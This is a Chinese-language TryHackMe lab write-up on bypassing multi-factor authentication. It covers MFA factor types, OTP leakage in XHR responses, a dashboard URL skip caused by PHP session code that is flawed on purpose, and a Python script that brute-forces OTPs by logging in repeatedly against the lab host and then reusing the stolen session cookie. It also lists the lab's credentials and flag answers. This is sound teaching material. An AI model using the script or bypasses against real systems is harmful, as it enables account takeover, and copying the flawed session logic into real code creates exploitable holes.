【THM】Multi-Factor Authentication(多因素身份验证)-学习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/r/room/multifactorauthentications

本文相关内容:尝试对多因素身份验证机制进行漏洞利用。

image-20250112200203376

介绍

多因素身份验证(MFA,Multi-Factor Authentication)在现代应用程序中扮演着重要的角色。MFA不再仅依赖于密码,而是增加了额外的防御层。简单来说,MFA是多种验证方式的组合,它们可能是基于你已知的信息(例如密码)、你拥有的信息(例如你的智能手机中的一些信息)以及你的身份信息(例如指纹)。通过使用具备这些层级的验证机制,MFA可以让威胁行为者更加难以访问用户帐户或应用程序。

学习目标

在完成本文的学习之后,你将:

  • 了解MFA的操作原理及其在加强应用程序安全态势(security posture)方面的重要性。
  • 探索MFA设置中所使用的不同类型的身份验证因素。
  • 深入了解实现MFA来保护敏感数据和系统的实际场景。

前置学习条件

在开始学习本文的知识点内容之前,你应该对以下概念有一个基本的了解:

部署实验环境

在与本文相关的TryHackMe实验房间中,通过点击绿色“Start Machine”按钮部署目标(实验)VM,此机器的界面不会在浏览器分割视图中显示。在获得实验机器对应的IP地址后,你可以使用AttackBox或自己的VM作为攻击机。

image-20250112204333532

将实际的MACHINE_IP及其DNS解析添加到你的攻击机上的/etc/hosts文件内容中,如下所示:

#/etc/hosts
MACHINE_IP    mfa.thm

我们将在接下来的小节中使用在此实验(目标)机器上运行的Web应用程序。

MFA的工作原理

在当今的数字时代,保护敏感数据和系统的安全比以往任何时候都更加重要。多因素身份验证(MFA)通过要求你提供两个或更多的验证因素,为用户帐户添加了额外的保护。这使得攻击者访问用户帐户的难度显著增加。

值得注意的是,2FA(双因素身份验证,Two-Factor Authentication)是MFA(多因素身份验证,Multi-Factor Authentication)的一个子集。MFA是指任何需要两个或多个因素来验证用户身份的身份验证过程。

身份验证因素的类型

MFA通常结合了两种或更多种不同类型的凭据,这些凭据来自以下类别:你知道的信息,你拥有的信息,你是什么身份,你在什么地方,你所做的事情。

image-20250112213211429

Something You Know(你知道的信息)

这可以是密码、PIN码或任何其他你必须记住的信息。它们是大多数身份验证系统的基础,但如果不与其他因素同时使用,则可能会存在漏洞。

Something You Have(你拥有的信息)

这可以是你的手机中的一些信息,例如带有身份验证机制的应用程序,安全令牌,甚至是智能卡。如今,我们可以看到客户端证书的使用越来越频繁,它们就像设备的数字身份证一样。

Something You Are(你是什么身份)

这涉及生物识别技术,例如指纹、面部识别或虹膜扫描。这种身份验证方式越来越受欢迎,因为它很难伪造,因此在我们现在的许多电子设备中都存在这种技术,从手机到笔记本电脑等。需要注意的是,指纹永远不会100%匹配,面部扫描也永远不会100%匹配。因此,这种身份验证因素应该始终作为补充,永远不要单独使用它们来完成身份验证。

Somewhere You Are(你在什么地方)

这涉及到你的原始IP地址或地理位置。某些应用程序,例如网上银行服务,如果检测到你正在从未知的IP地址发出请求,则会限制你的某些活动。

Something You Do(你所做的事情)

这种身份验证通常被用于在某些应用程序上对机器交互进行限制,例如一些程序的注册页面。支持此类身份验证的应用程序通常会分析用户输入凭据或移动鼠标的方式,这也是最难实现的,因为这样的应用程序需要有一定的处理能力。

tips:检测用户行为是否是人类操作。

2FA会需要上述这些因素中的某两个因素。虽然所有的2FA都属于MFA,但并不是所有的MFA都是2FA。例如,一个需要密码、指纹扫描和智能卡的身份验证系统将被视为MFA,但它并不属于2FA,因为该系统不止用到了两个身份验证因素,它是三因素身份验证系统。

2FA的种类

2FA可以利用各种机制来确保每个身份验证因素都提供了健壮的安全层。一些最常见的方法包括:

基于时间的一次性密码(TOTP,Time-Based One-Time Passwords)

这些密码是临时密码,大约每30秒更改一次。Google Authenticator、Microsoft Authenticator和Authy等应用程序都在使用它们,这使得攻击者很难拦截或重用这些密码。

推送通知(Push Notifications)

像Duo或Google Prompt这样的应用程序会直接向你的手机发送登录请求。你可以直接从设备上批准或拒绝访问,从而增加了一层安全性,以验证你是否拥有已注册帐户所关联的设备。

存在一个涉及推送通知的攻击方式,即MFA疲劳攻击,它在一次现实的安全事件中使攻击者能够入侵Uber员工的企业帐户。此次攻击的细节超出了本文内容的讨论范围,但如果你想了解更多相关的信息,你可以访问Uber官方的安全新闻页面,地址如下: https://www.uber.com/newsroom/security-update

短信(SMS)

目前大多数应用程序都采用了这种方法。系统会向用户用于账号注册的手机号码发送一条包含一次性验证码的短信,然后用户必须输入此验证码才能继续登录。虽然这种基于短信的身份验证很方便,但是由于存在短信拦截问题,所以它的安全性仍然是较低的。

tips:SMS(Short Message Service,短信服务)。

硬件令牌(Hardware Tokens)

像YubiKeys这样的设备可以生成一次性密码或使用NFC进行身份验证。它们的优点在于无需网络或电池,甚至离线也能正常工作。

条件访问

公司通常可以使用条件访问(Conditional access)来根据不同的上下文调整身份验证要求。它就像一棵决策树,能够根据特定条件触发额外的安全检查。例如:

基于位置(Location-Based)

如果用户从其常用位置(例如办公室)进行登录,那么他们可能只需要提供常规的登录凭据。但是,如果用户从一个新位置或者系统不熟悉的位置进行登录,那么系统可能还会要求用户提供额外的OTP(一次性密码)甚至进行生物识别验证。

基于时间(Time-Based)

在正常的工作时间内,用户可能只需要使用常规登录凭据即可完成登录。但是,如果有人试图在下班后访问系统,那么他们可能会被提示需要额外的安全层凭据,例如OTP(一次性密码)或者安全令牌。

行为分析(Behavioral Analysis)

假设用户的行为突然发生变化,比如他们开始访问平时不会去查看的数据,或者在非正常的时间出现了访问行为。在这种情况下,系统可以要求用户进行额外的身份验证,以确认用户身份的真实性(即判断这些奇怪的行为是否出自攻击者之手)。

特定设备(Device-Specific)

在某些情况下,公司不允许员工使用自己的设备访问公司资源。在这种情况下,如果用户使用了未经批准的设备,那么系统可能会在初始登录步骤后阻止用户继续进行操作。

全球采用和监管推动

由于MFA能够有效地防御多种常见的安全威胁,包括网络钓鱼 、 社会工程学和基于密码的攻击,它在各行各业的应用正在迅速扩展。世界各国政府和行业都已经认识到MFA的重要性,并开始通过各种监管框架强制使用MFA。例如,金融和医疗保健行业如今就在实施严格的MFA要求,以遵守欧洲的《通用数据保护条例》(GDPR)、美国的《健康保险流通与责任法》( HIPAA ) 以及全球支付系统的PCI-DSS等法规。

许多网络入侵,例如2017年Equifax入侵事件或2013年Target入侵事件,本可以避免发生,如果MFA能够有效实现的话。

答题

当登录到应用程序时,你的手机上会收到一条包含OTP(一次性密码)的SMS短信。这是什么身份验证因素?

Something You Have (你拥有的信息)

image-20250606193902367

MFA的实现和应用

多因素身份验证(MFA)现已成为保护我们线上、线下活动免受攻击者影响的一个重要因素。从银行(Banking)、医疗保健(Healthcare)到企业 IT(Corporate IT),这些行业都高度依赖MFA来保护数据免受攻击者的攻击影响。

银行中的MFA

银行每天都会处理非常敏感的信息和交易。通过使用MFA,银行可以保护用户的个人信息和财务信息免受网络盗窃、欺诈和其他在线威胁的负面影响。

通常情况下,在进行身份验证时,银行会要求你输入密码(你知道的信息),然后再进入第二层安全保护,第二层安全保护指的是银行通过短信发送的验证码或者由你的手机上的特定应用程序生成的验证码(你拥有的信息)。这样,即使有人知道了你的密码,他们仍然需要提供额外的信息才能访问你的账户或完成一些交易。

医疗保健中的MFA

在医疗保健行业,由于美国的HIPAA(健康保险流通与责任法案)等法规的存在,MFA会被用于确保只有得到授权的人员才能访问患者记录和个人健康信息。

例如,为了访问电子健康记录(EHRs-electronic health records)等敏感系统,医疗保健提供商可能会要求医生使用安全徽章(他们拥有的信息)和指纹扫描(他们是什么身份)。这确保了只有拥有正确凭据的人员才能查看或更改患者数据。

企业IT中的MFA

随着网络攻击和数据泄露事件的日益增多,企业 IT 部门面临着保护敏感业务数据和维护系统完整性的巨大压力。MFA有助于缓解未授权访问的风险,从而尽量避免发生数据盗窃、间谍活动或破坏活动。

在企业环境中,MFA通常被用于访问公司网络、数据库和云服务。员工可能首先会使用他们的公司凭据(他们知道的信息)进行登录,然后再继续使用发送到公司所提供的手机上的验证码(他们拥有的信息)来完成验证或者进行生物识别验证(他们是什么身份)。这样,即使有人试图攻击员工的系统,攻击者也会在不知道第二个身份验证因素的情况下遇到障碍。

MFA 通常用于访问公司网络、数据库和云服务。员工可能首先使用公司凭证(他们知道的凭证)登录,然后使用发送到公司发放的手机上的验证码(他们拥有的凭证)或通过生物特征验证(他们本身的凭证)来验证身份。这样,即使有人试图攻击他们的系统,他们也会在没有第二个因素的情况下遇到障碍。

答题

MFA是否是保护我们的在线和离线活动安全以免受威胁行为者攻击影响的一个重要因素?(yea/nay)

yea

image-20250606211832264

MFA中的常见漏洞

弱OTP生成算法

一次性密码(OTP,One-Time Password)的安全性取决于创建它的算法。如果算法强度较弱或者过于容易预测,那么攻击者就可以更轻易地猜测出正确的OTP。如果算法没有使用真正的随机种子,那么生成的OTP可能会遵循某种模式,这使得它们更加容易被预测。

应用程序泄露2FA令牌

如果应用程序处理数据不恰当或者存在不安全的API端点等漏洞,则可能会意外泄露应用程序的HTTP响应中所包含的2FA令牌。

此外,不安全的编码(代码编写)实践,也可能会导致一些应用程序在其响应中泄露2FA令牌。一个常见的场景是,当用户完成登录并到达2FA页面时,应用程序会针对发出OTP的端点触发一个XHR请求。有时,此XHR请求会在HTTP响应中将OTP返回给用户。

暴力猜解OTP

尽管OTP是为一次性使用而设计的,但它们并非完全不受暴力破解攻击影响。如果攻击者可以进行无限次猜测,那么最终可能会得到正确的OTP,特别是在OTP没有受到额外安全措施妥善保护的情况下。这就像试图通过反复转动转盘直到保险箱发出咔嗒声来破解保险箱一样,如果有足够的时间且没有任何限制,那么暴力猜解这种方法或许就能奏效。

缺乏速率限制

如果没有适当的速率限制(Rate Limiting),应用程序将会允许攻击者能够轻易地尝试不同的OTP。如果攻击者可以在短时间内提交多次OTP猜测,那么他们最终获得正确OTP的可能性就会增加。

例如,在这份HackerOne报告中,渗透测试人员能够报告一个有效的bug,因为此应用程序在检查2FA验证码时没有使用适当的速率限制。

使用Evilginx

Evilginx2是一种在红队活动中常用的工具。它可以被用于执行复杂的网络钓鱼攻击,有效地绕过多因素身份验证(MFA)。它能够充当中间人代理,可以拦截并重定向原本发送给合法用户的OTP。

evilginx2:独立的中间人攻击框架,用于钓鱼登录凭据和会话 cookie,从而允许绕过双因素身份验证。

image-20250112213316701

Evilginx的工作原理是,当攻击者向你发送网络钓鱼链接,并且你在看似合法的登录页面上输入了你的凭据时,Evilginx会捕获你的用户名、密码和OTP,然后将它们转发到真实网站,让攻击者使用你的cookie进行访问,而无需破解你所使用的MFA机制。

答题

可以采取哪些实现来帮助防范针对OTPs的暴力猜解攻击?

Rate Limiting - 速率限制

image-20250606215310761

练习示例:OTP泄露

OTP泄露-概念

XHR(XMLHttpRequest)响应中的OTP泄露通常是由于2FA(双因素身份验证)机制的不良实现或者不安全的编码(代码编写)实践而导致的。发生这种情况的一些常见原因是:

服务器端验证和敏感数据的返回

在一些设计不良的应用程序中,服务器在验证OTP时不仅会确认成功或失败,还会在响应中返回OTP本身。这通常是在无意中发生的,作为调试、日志记录或不良响应处理实践的一部分而存在。

缺乏适当的安全实践

开发人员可能会忽视在API响应中暴露OTP等敏感信息的安全隐患。这种情况通常发生在开发人员专注于使应用程序正常运行,而没有考虑攻击者如何利用这些响应时。

并非所有开发人员都充分了解安全编码(代码编写)实践。他们可能会在未充分了解 XHR 响应中存在敏感信息泄露的潜在风险的情况下,就实现了诸如2FA之类的功能。

生产环境中遗留的调试信息

在开发阶段或测试阶段,开发人员可能会在响应中包含详细的调试信息,以帮助诊断问题。如果在部署到生产环境之前没有删除这些调试响应,则OTP等敏感信息可能会被泄露。

漏洞利用示例

在攻击机上,访问 http://mfa.thm/labs/first

image-20250112213344963

使用下面的凭据登录应用程序。

Username Password
thm@mail.thm test123

注意:请先打开浏览器的开发者工具(通常按F12键)并导航到“Network-网络”选项卡,然后再单击登录(Login)按钮。Network选项卡允许我们查看应用程序发出的所有网络请求,包括XHR请求。

image-20250112213358168

进入MFA页面后,你将看到一个由应用程序触发的XHR请求,该请求将被发送到/token端点。

image-20250112213408732

正如你在上面提交到/token端点的XHR请求中所看到的,应用程序返回了一个大小为16字节的响应。我们可以单击此请求并导航到“Response-响应”选项卡,如下所示。

image-20250112213419964

复制token(令牌)参数的值并将其粘贴到OTP表单中,然后单击验证账户(Verify Account)按钮。

image-20250112213437089

image-20250112213445131

为了解决这个问题,应用程序不应在响应中返回生成的2FA或OTP。建议不要返回OTP,而是返回一个类似于“success”的通用消息。

答题

仪表面板中的flag是什么?

部署实验环境(参考本文的第一小节),在攻击机上使用浏览器访问:http://mfa.thm/labs/first

#将实际的MACHINE_IP及其DNS解析 添加到攻击机上的/etc/hosts文件内容中
#nano /etc/hosts
#MACHINE_IP    mfa.thm
10.10.4.204    mfa.thm

image-20250607001548851

image-20250607001656824

打开浏览器开发者工具中的网络选项卡,然后在应用程序的登录页面上使用凭据thm@mail.thm:test123进行登录,最后在网络选项卡中查看token参数的值:

image-20250607001829069

image-20250607001942601

复制token参数的值(9238)到 OTP 表单中,并单击Verify Account(验证账户)按钮,然后查看flag内容即可:

image-20250607002028675

image-20250607002110532

904c8ac84e44f0ba942e9e11ee7037b8

image-20250607004211988

练习示例:不安全的编码实践

逻辑缺陷还是不安全的编码实践?

在某些应用程序中,逻辑缺陷或者不安全的编码(代码编写)实践可能会导致未经完整的身份验证过程即可访问应用程序的关键部分(例如仪表面板)。具体而言,攻击者可能能够完全绕过2FA(双因素身份验证)机制,并且无需输入OTP(一次性密码)即可访问仪表面板或其他敏感区域。这通常是由于会话管理不当、访问控制检查不足或者逻辑实现错误而最终导致未能强制执行2FA要求所造成的。

漏洞利用示例

在攻击机上,访问 http://mfa.thm/labs/second/ 并使用下面的凭据登录到应用程序。

Username Password
thm@mail.thm test123

image-20250112213538400

通常,攻击者首先需要了解应用程序的登录和2FA过程是如何工作的(即工作原理)。在这里,我们发现在输入了用户名和密码后,系统会提示用户输入OTP以访问仪表面板。

image-20250112213548570

在面对上述情况时,攻击者可能会尝试操纵URL或绕过完全的OTP步骤,而不是选择直接输入OTP。例如,攻击者可能会尝试在浏览器中直接访问与仪表面板页面相关的URL(如http://mfa.thm/labs/second/dashboard),而无需完成规定的身份验证步骤。

如果应用程序没有正确检查会话状态或者没有强制执行2FA,或者应用程序的逻辑存在缺陷,那么攻击者就可以尝试直接获得对于仪表面板页面的访问权限。

image-20250112213600593

深入了解代码编写情况

以下代码是上述/mfa页面中使用的部分代码。如你所见,$_SESSION['authenticated']是在2FA过程完成后签发的。

# Function that verifies the submitted 2FA token
function verify_2fa_code($code) {
    if (!isset($_SESSION['token']))
    return false;

    return $code === $_SESSION['token'];
}

# Function called in the /mfa page
if (verify_2fa_code($_POST['code'])) { #If successful, the user will be redirected to the dashboard.如果成功,用户将被重定向到仪表板
    $_SESSION['authenticated'] = true; # Session that is used to check if the user completed the 2FA.用于检查用户是否完成了2FA的相关会话
    header('Location: ' . ROOT_DIR . '/dashboard');
    return;
}

假设上述实现是安全的,那么在身份验证的第一步之后未能正确清理$_SESSION['authenticated']残留签发状态的某些实例将能够绕过上述代码的限制,如下所示。

function authenticate($email, $password){
  $pdo = get_db_connection();
  $stmt = $pdo->prepare("SELECT `password` FROM users WHERE email = :email");
  $stmt->execute(['email' => $email]);
  $user = $stmt->fetch(PDO::FETCH_ASSOC);

  return $user && password_verify($password, $user['password']);
}
#完成首步认证之后,$_SESSION['authenticated']的值就会被设置为true
if (authenticate($email, $password)) {
    $_SESSION['authenticated'] = true; # This flag should only be issued after the MFA completion.此标记只应在MFA全完成后签发,这里没做到
    $_SESSION['email'] = $_POST['email'];
    header('Location: ' . ROOT_DIR . '/mfa');
    return;
}

在完成首步认证之后,缺少了第二步MFA验证前的会话重置,所以攻击者可以尝试复用仅完成首步认证的会话。

由于应用程序的仪表面板仅检查$_SESSION['authenticated']的值,它是真还是假,所以攻击者可以轻松地绕过这个2FA页面,假设攻击者事先知道应用程序的端点。

若要修复此漏洞,应将身份验证检查中使用的Cookie或会话分为两部分。第一部分是在用户名和密码验证成功后设置会话,此会话的唯一目的是提交2FA令牌;第二部分的会话应仅在OTP被验证后进行设置。

答题

仪表面板中的flag是什么?

部署实验环境(参考本文的第一小节),在攻击机上使用浏览器访问: http://mfa.thm/labs/second/

image-20250607002203216

在应用程序的登录页面上使用凭据thm@mail.thm:test123进行登录:

image-20250607002253517

完成上述登录操作之后,我们将跳转到验证码验证界面,现在让我们作为攻击者尝试在浏览器中直接访问与仪表面板页面相关的URL(并在页面跳转之后查看flag的内容):http://mfa.thm/labs/second/dashboard

image-20250607002342607

image-20250607002504296

image-20250607002538077

87880e9d27001affdff90989f351c462

image-20250607004239361

练习示例:突破自动注销机制

在某些应用程序中,2FA质询失败可能会导致应用程序将用户恢复到身份验证过程的第一部分(即,使用用户名和密码进行的初始登录)。这种行为通常是由于设计了安全机制来防止对应用程序的2FA部分进行暴力破解攻击而导致的。应用程序可能会强制用户重新进行身份验证,以确保正在尝试登录的人员确实是合法用户,而不是试图猜测OTP正确值的攻击者。

自动注销行为发生的常见原因

会话失效(Session Invalidation)

一旦 2FA 质询失败,作为一种安全措施,应用程序可能会使用户的会话失效,从而迫使用户从头开始进行身份验证过程。

速率限制和锁定策略(Rate-Limiting and Lockout Policies )

为了防止攻击者反复尝试绕过2FA,应用程序可能具有速率限制或锁定机制,该机制将在设定次数的多次失败尝试后触发,将用户恢复到初始登录步骤。

由安全驱动的重定向(Security-Driven Redirection)

出于安全性考虑,一些应用程序被设计为在多次2FA尝试失败后将用户重定向回登录页面,以此作为额外的安全措施,确保在允许另一次2FA尝试之前重新验证用户的凭据。

自动化是关键

自动化使得攻击这些类型的保护变得更容易,因为:

速度(Speed)

在每次注销后手动重新登录既缓慢又乏味,而自动化可以帮助你更快地完成这些操作。

一致性(Consistency )

自动化可以避免你在重复手动执行相同操作时可能出现的错误,它非常可靠。

从注销中恢复(Recovering From Logouts)

如果应用程序在几次尝试失败后将你注销,那么自动化脚本可以自动重新登录并继续尝试。这就为你省去了每次都需要手动操作的麻烦。

可定制(Customization)

手动创建自动化攻击脚本比使用 ZAP 或 Burp Suite 等单一工具更加灵活。你可以自定义脚本来测试特定的场景,例如使用不同的IP地址、不同的用户代理或者改变各个请求之间的时间。

漏洞利用示例

托管在 http://mfa.thm/labs/third 上的应用程序会在用户未能通过2FA质询时自动将其注销。出于演示目的,该应用程序还会在用户每次提供凭据以进行登录时生成一个4位数的PIN码。

注:在实际的应用程序中,PIN码的范围通常为0000~9999。在本小节示例中,我们仅将其设置为较低的值,以节省我们执行暴力猜解所要消耗的时间。

function generateToken()
{
    $token = strval(rand(1250, 1350));

    $_SESSION['token'] = $token;
    return 'success';
}

使用下面的Python脚本,我们可以将该脚本保存为exploit.py并在终端中运行它。

import requests

# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'

# Define login credentials
credentials = {
    'email': 'thm@mail.thm',
    'password': 'test123'
}

# Define the headers to mimic a real browser
headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://mfa.thm',
    'Connection': 'close',
    'Referer': 'http://mfa.thm/labs/third/mfa',
    'Upgrade-Insecure-Requests': '1'
}

# Function to check if the response contains the login page
def is_login_successful(response):
    return "User Verification" in response.text and response.status_code == 200

# Function to handle the login process
def login(session):
    response = session.post(login_url, data=credentials, headers=headers)
    return response
  
# Function to handle the 2FA process
def submit_otp(session, otp):
    # Split the OTP into individual digits
    otp_data = {
        'code-1': otp[0],
        'code-2': otp[1],
        'code-3': otp[2],
        'code-4': otp[3]
    }
    
    response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False)  # Disable auto redirects
    print(f"DEBUG: OTP submission response status code: {response.status_code}")
    
    return response

# Function to check if the response contains the login page
def is_login_page(response):
    return "Sign in to your account" in response.text or "Login" in response.text

# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
    otp_str = '1337'  # Hardcoded OTP

    while True:  # Keep trying until success
        session = requests.Session()  # Create a new session object for each attempt
        login_response = login(session)  # Log in before each OTP attempt
        
        if is_login_successful(login_response):
            print("Logged in successfully.")
        else:
            print("Failed to log in.")
            continue

        print(f"Trying OTP: {otp_str}")

        response = submit_otp(session, otp_str)

        # Check if the response is the login page (unsuccessful OTP)
        if is_login_page(response):
            print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
            continue  # Retry login and OTP submission

        # Check if the response is a redirect (status code 302)
        if response.status_code == 302:
            location_header = response.headers.get('Location', '')
            print(f"Session cookies: {session.cookies.get_dict()}")

            # Check if it successfully bypassed 2FA and landed on the dashboard
            if location_header == '/labs/third/dashboard':
                print(f"Successfully bypassed 2FA with OTP: {otp_str}")
                return session.cookies.get_dict()  # Return session cookies after successful bypass
            elif location_header == '/labs/third/':
                print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
            else:
                print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
        else:
            print(f"Received status code {response.status_code}. Retrying...")

# Start the attack to try until success
try_until_success()

关于该脚本的关键部分的详细分解:

Script Setup(脚本设置)

  • URLs
    • login_url :用户输入电子邮件账户和密码的登录页面的相关 URL。
    • otp_url :用户提交 4 位数 OTP 进行验证的相关 URL。
    • dashboard_url :用户验证成功后被重定向到的仪表面板的相关 URL。
  • Credentials(凭据)
    • credentials字典将保存用于登录的电子邮件账户和密码。
  • Headers(标头)
    • headers 字典将包含模拟真实浏览器请求的 HTTP 标头,包括 User-AgentRefererContent-Type 等。

Functions(函数)

  • is_login_successful(response)
    • 通过在响应文本中查找“User Verification-用户验证”短语并确保状态码为 200 OK 来检查登录是否成功。
  • login(session)
    • 通过向 login_url 发送包含用户凭据的 POST 请求来执行登录。这将为我们返回服务器的响应。
  • submit_otp(session, otp)
    • 通过 POST 请求将 4 位 OTP 发送至 otp_url,OPT会被拆分成多个数字,并作为单独的参数( code-1code-2 等)发送。该函数将返回服务器的响应。
  • is_login_page(response)
    • 通过在响应文本中查找“Sign in to your account-登录到你的帐户”或“Login-登录”等关键字来检查响应是否包含登录页面。

Brute-Force Process(暴力猜解过程)

  • OTP Range(OTP范围)
    • 该脚本将执行循环直到应用程序使用脚本中设置的相同 OTP 进行响应。
  • Session Creation(会话创建)
    • 对于每次 OTP 尝试,都会使用 requests.Session() 创建一个新会话,确保每次登录和 OTP 提交尝试都会有一个新会话。
  • Login Attempt(登录尝试)
    • 该脚本将尝试使用已提供的凭据进行登录。如果登录成功,它会打印“Logged in successfully-已成功登录”并继续进行 OTP 提交。如果登录失败,脚本将跳转至下一次 OTP 尝试。
  • OTP Submission(OTP提交)
    • 该脚本会将 OTP 格式化为 4 位字符串,并将其发送到 otp_url
  • Response Handling(响应处理)
    • 如果服务器响应包含了登录页面(表示 OTP 尝试失败),则脚本会打印错误消息并继续下一个 OTP 尝试。
    • 如果响应具有 302 Found 状态码(表示重定向),它会检查 Location 标头:
      • 如果重定向到 /labs/third/dashboard ,则表示成功绕过 OTP,并且脚本会打印成功消息并退出。
      • 如果重定向到 /labs/third/ (登录页面),则表示 OTP 尝试失败,并且脚本会打印错误消息。
      • 任何其他重定向位置都会被标记为意外(unexpected),并打印一条错误消息。
    • 如果响应有任何其他的状态码,脚本将打印状态码并重新尝试下一个 OTP。

一旦上述脚本成功执行,并最终得到了正确的安全码,我们就可以使用它来登录本小节的应用程序示例。

#在攻击机的终端执行
user@tryhackme$ $ python3 exploit.py
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Unsuccessful OTP attempt, redirected to login page. OTP: 1337
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Unsuccessful OTP attempt, redirected to login page. OTP: 1337
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Session cookies: {'PHPSESSID': '57burqsvce3odaif2oqtptbl13'}

使用新获得的PHPSESSID,为此我们首先需要:转到 http://mfa.thm/labs/third ,打开我们浏览器的开发者工具,然后导航到 Storage > Cookies 。

image-20250112213753672

然后将旧的PHPSESSID的值替换为我们在终端输出中可以看到的新的PHPSESSID值。

image-20250112213805302

完成上述步骤后点击刷新,或者再继续访问此URL(并查看flag内容): http://mfa.thm/labs/third/dashboard

image-20250112213815328

答题

仪表面板中的flag是什么?

部署实验环境(参考本文的第一小节),在攻击机的终端中执行用于暴力猜解攻击的脚本:

#nano exploit.py
#该脚本的具体代码请参考本小节上文内容
python3 exploit.py

image-20250607003105055

image-20250607003333835

image-20250607003458873

Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Session cookies: {'PHPSESSID': '5gspvatql7gu8cjii49to2e7tq'}
Successfully bypassed 2FA with OTP: 1337

使用新获得的PHPSESSID,为此我们首先需要:转到 http://mfa.thm/labs/third ,打开我们浏览器的开发者工具,然后导航到 Storage > Cookies 。

image-20250607003658912

然后将旧的PHPSESSID的值替换为我们在终端输出中可以看到的新的PHPSESSID值。

image-20250607003755306

完成上述步骤后点击刷新,或者继续访问此URL(并查看flag内容): http://mfa.thm/labs/third/dashboard

image-20250607003919834

20548e076dbb9ba30c9d94ae4aceb38e

image-20250607004256339

本文小结

在本文内容中,我们介绍了多因素身份验证(MFA)或双因素身份验证(2FA)的基本要点,并深入了解了如何使用相关的安全措施来加强系统的安全性以防止未经授权的访问。

关键要点

  • 了解MFA:MFA通过要求多种形式的验证增加了安全层,从而显著降低了发生未授权访问的安全风险。
  • 解决相关漏洞:诸如弱OTP算法和缺乏速率限制等常见的安全问题,可能会破坏系统的安全性,这凸显了我们需要强有力的安全实现/实践。
  • 最佳安全实践:安全的OTP生成、速率限制以及用户教育对于维护有效的MFA系统至关重要。
posted @ 2025-06-07 00:49  Hekeatsll  阅读(257)  评论(0)    收藏  举报